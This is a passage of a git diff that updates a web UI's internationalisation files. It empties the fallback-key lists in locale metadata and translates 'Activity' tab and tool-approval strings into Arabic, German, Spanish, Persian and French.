"24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/id.meta.json b/ui/src/i18n/.i18n/id.meta.json index b034f94c187..fff2ffd85bd 100644 --- a/ui/src/i18n/.i18n/id.meta.json +++ b/ui/src/i18n/.i18n/id.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:48.039Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:55.647Z", "locale": "id", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/it.meta.json b/ui/src/i18n/.i18n/it.meta.json index d23f2f9566c..b4a3797701c 100644 --- a/ui/src/i18n/.i18n/it.meta.json +++ b/ui/src/i18n/.i18n/it.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:47.052Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:48.960Z", "locale": "it", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/ja-JP.meta.json b/ui/src/i18n/.i18n/ja-JP.meta.json index 27fbfc30164..5c894ca09b6 100644 --- a/ui/src/i18n/.i18n/ja-JP.meta.json +++ b/ui/src/i18n/.i18n/ja-JP.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:45.696Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:36.063Z", "locale": "ja-JP", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/ko.meta.json b/ui/src/i18n/.i18n/ko.meta.json index e4e9f99d83c..5f0ee21d105 100644 --- a/ui/src/i18n/.i18n/ko.meta.json +++ b/ui/src/i18n/.i18n/ko.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:46.039Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:39.063Z", "locale": "ko", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/nl.meta.json b/ui/src/i18n/.i18n/nl.meta.json index d8b228be340..5ec9f38298f 100644 --- a/ui/src/i18n/.i18n/nl.meta.json +++ b/ui/src/i18n/.i18n/nl.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:49.375Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:22:05.355Z", "locale": "nl", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/pl.meta.json b/ui/src/i18n/.i18n/pl.meta.json index ad4f6c2ac0c..8a33e7a906c 100644 --- a/ui/src/i18n/.i18n/pl.meta.json +++ b/ui/src/i18n/.i18n/pl.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:48.381Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:58.186Z", "locale": "pl", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/pt-BR.meta.json b/ui/src/i18n/.i18n/pt-BR.meta.json index a9f18772e5e..047f9104e98 100644 --- a/ui/src/i18n/.i18n/pt-BR.meta.json +++ b/ui/src/i18n/.i18n/pt-BR.meta.json @@ -1,38 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.search", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:44.710Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:28.923Z", "locale": "pt-BR", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1129, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/th.meta.json b/ui/src/i18n/.i18n/th.meta.json index b91a21df0ed..218d229cac2 100644 --- a/ui/src/i18n/.i18n/th.meta.json +++ b/ui/src/i18n/.i18n/th.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:48.711Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:22:00.398Z", "locale": "th", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/tr.meta.json b/ui/src/i18n/.i18n/tr.meta.json index 998a0b41733..4f5c64a414f 100644 --- a/ui/src/i18n/.i18n/tr.meta.json +++ b/ui/src/i18n/.i18n/tr.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:47.383Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:51.130Z", "locale": "tr", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/uk.meta.json b/ui/src/i18n/.i18n/uk.meta.json index d076a758e7c..1f59e4f0a37 100644 --- a/ui/src/i18n/.i18n/uk.meta.json +++ b/ui/src/i18n/.i18n/uk.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:47.714Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:53.387Z", "locale": "uk", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/vi.meta.json b/ui/src/i18n/.i18n/vi.meta.json index 55a516b4a67..a308760e412 100644 --- a/ui/src/i18n/.i18n/vi.meta.json +++ b/ui/src/i18n/.i18n/vi.meta.json @@ -1,37 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:49.048Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:22:03.061Z", "locale": "vi", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1130, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/zh-CN.meta.json b/ui/src/i18n/.i18n/zh-CN.meta.json index 58a808e5109..aa2ed219864 100644 --- a/ui/src/i18n/.i18n/zh-CN.meta.json +++ b/ui/src/i18n/.i18n/zh-CN.meta.json @@ -1,40 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.runId", - "activity.search", - "activity.searchPlaceholder", - "activity.status.error", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:44.017Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:24.828Z", "locale": "zh-CN", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1127, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/zh-TW.meta.json b/ui/src/i18n/.i18n/zh-TW.meta.json index aa0fcff753d..16f082cd807 100644 --- a/ui/src/i18n/.i18n/zh-TW.meta.json +++ b/ui/src/i18n/.i18n/zh-TW.meta.json @@ -1,38 +1,11 @@ { - "fallbackKeys": [ - "activity.allTools", - "activity.argumentHiddenOne", - "activity.argumentsHidden", - "activity.autoFollow", - "activity.collapseAll", - "activity.duration.minutes", - "activity.duration.ms", - "activity.duration.seconds", - "activity.empty", - "activity.emptyFiltered", - "activity.entrySummary", - "activity.expandAll", - "activity.filtersLabel", - "activity.noOutputPreview", - "activity.outputTruncated", - "activity.search", - "activity.searchPlaceholder", - "activity.statusFilters", - "activity.streamLabel", - "activity.subtitle", - "activity.title", - "activity.toolCallId", - "activity.visibleCount", - "execApproval.allowAlwaysUnavailable", - "subtitles.activity", - "tabs.activity" - ], - "generatedAt": "2026-05-27T02:52:44.379Z", + "fallbackKeys": [], + "generatedAt": "2026-05-27T05:21:26.763Z", "locale": "zh-TW", - "model": "claude-opus-4-7", - "provider": "anthropic", + "model": "gpt-5.5", + "provider": "openai", "sourceHash": "24e6aff2cfb534faf3b6a9c96ccafee1470519c2f4498c07841072435a0565ea", "totalKeys": 1155, - "translatedKeys": 1129, + "translatedKeys": 1155, "workflow": 1 } diff --git a/ui/src/i18n/locales/ar.ts b/ui/src/i18n/locales/ar.ts index f410adb26b7..06a1a558b25 100644 --- a/ui/src/i18n/locales/ar.ts +++ b/ui/src/i18n/locales/ar.ts @@ -362,7 +362,7 @@ export const ar: TranslationMap = { allowOnce: "السماح مرة واحدة", alwaysAllow: "السماح دائمًا", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "تتطلب سياسة الموافقة السارية الحصول على الموافقة في كل مرة، لذا فإن خيار السماح دائمًا غير متاح.", deny: "رفض", labels: { host: "المضيف", @@ -394,7 +394,7 @@ export const ar: TranslationMap = { }, tabs: { agents: "الوكلاء", - activity: "Activity", + activity: "النشاط", overview: "نظرة عامة", channels: "القنوات", instances: "المثيلات", @@ -416,7 +416,7 @@ export const ar: TranslationMap = { }, subtitles: { agents: "مساحات العمل، والأدوات، والهويات.", - activity: "Browser-local tool activity summaries.", + activity: "ملخصات نشاط الأدوات المحلية في المتصفح.", overview: "الحالة، ونقاط الدخول، والصحة.", channels: "القنوات والإعدادات.", instances: "العملاء والعقد المتصلة.", @@ -437,30 +437,30 @@ export const ar: TranslationMap = { dreams: "حلم الذاكرة، والدمج، والتأمل.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "النشاط", + subtitle: "نشاط أدوات مؤقت مشتق من أحداث الجلسة المباشرة.", + visibleCount: "{visible} من {total}", + filtersLabel: "عوامل تصفية النشاط", search: "بحث", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "التصفية حسب الأداة أو الملخص أو التشغيل أو الجلسة", toolFilter: "الأداة", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "كل الأدوات", + statusFilters: "عوامل تصفية الحالة", + autoFollow: "المتابعة التلقائية", + expandAll: "توسيع الكل", + collapseAll: "طي الكل", clear: "مسح", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "لا يوجد نشاط أدوات بعد.", + emptyFiltered: "لا يوجد نشاط يطابق عوامل التصفية هذه.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "تم إخفاء وسيطة واحدة", + argumentsHidden: "تم إخفاء {count} وسيطات", + streamLabel: "إدخالات نشاط الأدوات", + toolCallId: "استدعاء الأداة", runId: "شغّل", session: "الجلسة", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "تم تنقيح المعاينة واقتطاعها.", + noOutputPreview: "لا توجد معاينة للمخرجات.", status: { running: "قيد التشغيل", done: "مكتمل", diff --git a/ui/src/i18n/locales/de.ts b/ui/src/i18n/locales/de.ts index 1426ad75a91..f6f66de54ab 100644 --- a/ui/src/i18n/locales/de.ts +++ b/ui/src/i18n/locales/de.ts @@ -366,7 +366,7 @@ export const de: TranslationMap = { allowOnce: "Allow once", alwaysAllow: "Always allow", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "Die wirksame Genehmigungsrichtlinie erfordert jedes Mal eine Genehmigung, daher ist Immer erlauben nicht verfügbar.", deny: "Deny", labels: { host: "Host", @@ -398,7 +398,7 @@ export const de: TranslationMap = { }, tabs: { agents: "Agenten", - activity: "Activity", + activity: "Aktivität", overview: "Übersicht", channels: "Kanäle", instances: "Instanzen", @@ -420,7 +420,7 @@ export const de: TranslationMap = { }, subtitles: { agents: "Agent-Arbeitsbereiche, Tools und Identitäten verwalten.", - activity: "Browser-local tool activity summaries.", + activity: "Browser-lokale Zusammenfassungen der Tool-Aktivität.", overview: "Gateway-Status, Einstiegspunkte und eine schnelle Zustandsprüfung.", channels: "Kanäle und Einstellungen verwalten.", instances: "Präsenzsignale von verbundenen Clients und Geräten.", @@ -441,30 +441,30 @@ export const de: TranslationMap = { dreams: "Speicherkonsolidierung im Schlaf.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "Aktivität", + subtitle: "Flüchtige Tool-Aktivität, abgeleitet aus Live-Sitzungsereignissen.", + visibleCount: "{visible} von {total}", + filtersLabel: "Aktivitätsfilter", search: "Suchen", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "Nach Tool, Zusammenfassung, Lauf, Sitzung filtern", toolFilter: "Tool", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "Alle Tools", + statusFilters: "Statusfilter", + autoFollow: "Automatisch folgen", + expandAll: "Alle erweitern", + collapseAll: "Alle reduzieren", clear: "Löschen", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "Noch keine Tool-Aktivität.", + emptyFiltered: "Keine Aktivität entspricht diesen Filtern.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "1 Argument ausgeblendet", + argumentsHidden: "{count} Argumente ausgeblendet", + streamLabel: "Einträge zur Tool-Aktivität", + toolCallId: "Tool-Aufruf", runId: "Ausführen", session: "Sitzung", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "Vorschau geschwärzt und gekürzt.", + noOutputPreview: "Keine Ausgabevorschau.", status: { running: "Wird ausgeführt", done: "Fertig", diff --git a/ui/src/i18n/locales/es.ts b/ui/src/i18n/locales/es.ts index 4ef1e7568b0..905d8ee52e6 100644 --- a/ui/src/i18n/locales/es.ts +++ b/ui/src/i18n/locales/es.ts @@ -363,7 +363,7 @@ export const es: TranslationMap = { allowOnce: "Allow once", alwaysAllow: "Always allow", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "La política de aprobación efectiva requiere aprobación cada vez, por lo que Permitir siempre no está disponible.", deny: "Deny", labels: { host: "Host", @@ -395,7 +395,7 @@ export const es: TranslationMap = { }, tabs: { agents: "Agentes", - activity: "Activity", + activity: "Actividad", overview: "Resumen", channels: "Canales", instances: "Instancias", @@ -417,7 +417,7 @@ export const es: TranslationMap = { }, subtitles: { agents: "Gestionar espacios de trabajo, herramientas e identidades de agentes.", - activity: "Browser-local tool activity summaries.", + activity: "Resúmenes de actividad de herramientas locales del navegador.", overview: "Estado de la puerta de enlace, puntos de entrada y lectura rápida de salud.", channels: "Gestionar canales y ajustes.", instances: "Balizas de presencia de clientes y nodos conectados.", @@ -438,30 +438,30 @@ export const es: TranslationMap = { dreams: "Consolidación de la memoria durante el sueño.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "Actividad", + subtitle: "Actividad efímera de herramientas derivada de eventos de sesión en vivo.", + visibleCount: "{visible} de {total}", + filtersLabel: "Filtros de actividad", search: "Buscar", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "Filtrar por herramienta, resumen, ejecución, sesión", toolFilter: "Herramienta", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "Todas las herramientas", + statusFilters: "Filtros de estado", + autoFollow: "Seguimiento automático", + expandAll: "Expandir todo", + collapseAll: "Contraer todo", clear: "Borrar", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "Aún no hay actividad de herramientas.", + emptyFiltered: "Ninguna actividad coincide con estos filtros.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", - runId: "Run", + argumentHiddenOne: "1 argumento oculto", + argumentsHidden: "{count} argumentos ocultos", + streamLabel: "Entradas de actividad de herramientas", + toolCallId: "Llamada de herramienta", + runId: "Ejecución", session: "Sesión", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "Vista previa censurada y truncada.", + noOutputPreview: "Sin vista previa de salida.", status: { running: "En ejecución", done: "Completado", diff --git a/ui/src/i18n/locales/fa.ts b/ui/src/i18n/locales/fa.ts index a3c647827cd..99082c1b89e 100644 --- a/ui/src/i18n/locales/fa.ts +++ b/ui/src/i18n/locales/fa.ts @@ -364,7 +364,7 @@ export const fa: TranslationMap = { allowOnce: "یک‌بار مجاز کن", alwaysAllow: "همیشه مجاز کن", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "سیاست تأیید مؤثر هر بار به تأیید نیاز دارد، بنابراین «همیشه مجاز باشد» در دسترس نیست.", deny: "رد کردن", labels: { host: "میزبان", @@ -396,7 +396,7 @@ export const fa: TranslationMap = { }, tabs: { agents: "عامل‌ها", - activity: "Activity", + activity: "فعالیت", overview: "نمای کلی", channels: "کانال‌ها", instances: "نمونه‌ها", @@ -418,7 +418,7 @@ export const fa: TranslationMap = { }, subtitles: { agents: "فضاهای کاری، ابزارها، هویت‌ها.", - activity: "Browser-local tool activity summaries.", + activity: "خلاصه‌های فعالیت ابزار در مرورگر محلی.", overview: "وضعیت، نقاط ورود، سلامت.", channels: "کانال‌ها و تنظیمات.", instances: "کلاینت‌ها و گره‌های متصل.", @@ -439,30 +439,30 @@ export const fa: TranslationMap = { dreams: "رؤیاپردازی حافظه، یکپارچه‌سازی و بازتاب.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "فعالیت", + subtitle: "فعالیت موقتی ابزار که از رویدادهای نشست زنده استخراج شده است.", + visibleCount: "{visible} از {total}", + filtersLabel: "فیلترهای فعالیت", search: "جستجو", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "فیلتر بر اساس ابزار، خلاصه، اجرا، نشست", toolFilter: "ابزار", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "همه ابزارها", + statusFilters: "فیلترهای وضعیت", + autoFollow: "دنبال‌کردن خودکار", + expandAll: "باز کردن همه", + collapseAll: "بستن همه", clear: "پاک کردن", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "هنوز هیچ فعالیت ابزاری وجود ندارد.", + emptyFiltered: "هیچ فعالیتی با این فیلترها مطابقت ندارد.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "۱ آرگومان پنهان شده است", + argumentsHidden: "{count} آرگومان پنهان شده‌اند", + streamLabel: "ورودی‌های فعالیت ابزار", + toolCallId: "فراخوانی ابزار", runId: "اجرا کنید", session: "نشست", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "پیش‌نمایش ویرایش و کوتاه شده است.", + noOutputPreview: "پیش‌نمایش خروجی وجود ندارد.", status: { running: "در حال اجرا", done: "انجام شد", diff --git a/ui/src/i18n/locales/fr.ts b/ui/src/i18n/locales/fr.ts index 077322e8414..9115c8e49f5 100644 --- a/ui/src/i18n/locales/fr.ts +++ b/ui/src/i18n/locales/fr.ts @@ -365,7 +365,7 @@ export const fr: TranslationMap = { allowOnce: "Allow once", alwaysAllow: "Always allow", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "La politique d’approbation effective exige une approbation à chaque fois, donc Autoriser toujours n’est pas disponible.", deny: "Deny", labels: { host: "Host", @@ -397,7 +397,7 @@ export const fr: TranslationMap = { }, tabs: { agents: "Agents", - activity: "Activity", + activity: "Activité", overview: "Aperçu", channels: "Canaux", instances: "Instances", @@ -419,7 +419,7 @@ export const fr: TranslationMap = { }, subtitles: { agents: "Espaces de travail, outils, identités.", - activity: "Browser-local tool activity summaries.", + activity: "Résumés d’activité des outils locaux au navigateur.", overview: "Statut, points d’entrée, santé.", channels: "Canaux et paramètres.", instances: "Clients et nœuds connectés.", @@ -440,30 +440,30 @@ export const fr: TranslationMap = { dreams: "Consolidation de la mémoire pendant le sommeil.", }, activity: { - title: 